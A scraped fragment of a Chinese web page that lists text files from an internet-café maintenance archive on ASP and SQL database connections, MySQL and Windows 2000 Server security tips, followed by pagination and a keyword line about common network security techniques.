  • 1060 网吧维护\资料\FW\ASP中五种连接数据库方法.TXT 5239 网吧维护\资料\FW\ASP实现对SQL SERVER 数据库操作.TXT 2945 网吧维护\资料\FW\MYSQL.TXT 11239 网吧维护\资料\FW\WIN2000SERVER安全设置一些小技巧....

空空如也

空空如也

1 2 3 4 5 ... 9
收藏数 176
精华内容 70
关键字:

常见的五种网络安全技术